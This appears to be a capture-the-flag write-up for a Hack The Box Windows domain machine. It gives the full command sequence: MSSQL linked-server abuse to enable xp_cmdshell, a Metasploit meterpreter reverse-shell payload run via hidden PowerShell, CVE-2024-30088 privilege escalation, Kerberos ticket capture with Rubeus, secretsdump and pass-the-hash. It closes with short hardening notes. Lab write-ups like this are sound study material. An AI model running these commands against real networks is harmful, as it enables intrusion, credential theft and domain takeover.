Only default shares were present. SMB and BloodHound enumeration did not provide useful results.
darkzero.htb, DC01.darkzero.htb, dc02.darkzero.extjohn.w / RFulUtONCOL!nmap -p 1-65535 -T4 -A -v 10.10.11.89
Open Ports (DC01):
nxc smb 10.10.11.89 -u 'john.w' -p 'RFulUtONCOL!' --generate-hosts-file /etc/hosts
smbmap -H 10.10.11.89 -d 'darkzero.htb' -u 'john.w' -p 'RFulUtONCOL!'
Only default shares were present. SMB and BloodHound enumeration did not provide useful results.
dig @DC01.darkzero.htb ANY darkzero.htb
Findings:
darkzero.htb resolves to 10.10.11.89 and 172.16.20.110.0.0.0/8 and 172.16.0.0/12Connected to MSSQL using the provided credentials:
mssqlclient.py 'darkzero.htb/john.w:RFulUtONCOL!@10.10.11.89' -windows-auth
Attempt to enable xp_cmdshell on DC01 failed due to insufficient privileges:
enable_xp_cmdshell
Enumerated linked servers:
enum_links
Linked Servers:
DC01DC02.darkzero.extThe link to DC02.darkzero.ext uses darkzero\john.w mapped to remote login dc01_sql_svc.
Switched to the linked server and enabled xp_cmdshell successfully:
use_link "DC02.darkzero.ext"
enable_xp_cmdshell
Prepared a payload using Metasploit web_delivery:
msfconsole -q -x "use exploit/multi/script/web_delivery ; set payload windows/x64/meterpreter/reverse_tcp ; set LHOST tun0 ; set LPORT 443 ; set target 2 ; exploit -j"
Executed the Base64 payload through xp_cmdshell:
xp_cmdshell "powershell.exe -nop -w hidden -e <base64_payload>"
Result: Meterpreter session as darkzero-ext\svc_sql on 172.16.20.2 (DC02 subnet).
Used local_exploit_suggester and ran the exploit multiple times until it succeeded:
use multi/recon/local_exploit_suggester
set session 1
run
use exploit/windows/local/cve_2024_30088_authz_basep
set payload windows/x64/meterpreter_reverse_tcp
set session 1
set lhost tun0
set AutoCheck false
run
Result: NT AUTHORITY\SYSTEM shell on 172.16.20.2.
type C:\Users\Administrator\Desktop\user.txt
Uploaded and ran Rubeus on DC01 to monitor Kerberos tickets:
cd %temp%
C:\Windows\Temp\Rubeus.exe monitor /interval:1 /nowrap
Triggered ticket generation from DC01 by calling a UNC path via MSSQL:
impacket-mssqlclient 'darkzero.htb/john.w:RFulUtONCOL!'@DC01.darkzero.htb -windows-auth
xp_dirtree \\DC02.darkzero.ext\sfsdafasd
Captured ticket output and converted it:
cat ticket.bs4.kirbi | base64 -d > ticket.kirbi
ticketConverter.py ticket.kirbi dc01_admin.ccache
export KRB5CCNAME=dc01_admin.ccache
klist
Dumped secrets using Kerberos authentication:
impacket-secretsdump -k -no-pass 'darkzero.htb/DC01$@DC01.darkzero.htb'
Connected via Evil-WinRM with the recovered hash:
evil-winrm -i 10.10.11.89 -u administrator -H 5917507bdf2ef2c2b0a869a1cba40726
type C:\Users\Administrator\Desktop\root.txt
xp_cmdshell is a high-risk feature that enables OS command execution from SQL Server.User Flag: Retrieved on DC02 (C:\Users\Administrator\Desktop\user.txt)
Root Flag: Retrieved on DC01 (C:\Users\Administrator\Desktop\root.txt)
Disable or Restrict xp_cmdshell
xp_cmdshell and use least-privilege SQL roles.xp_cmdshell use.Harden Linked SQL Server Trusts
john.w to dc01_sql_svc.Patch Kernel Vulnerabilities (CVE-2024-30088)
Protect Kerberos Ticket Operations
Reduce Service Exposure on Domain Controllers
Split-Horizon DNS Visibility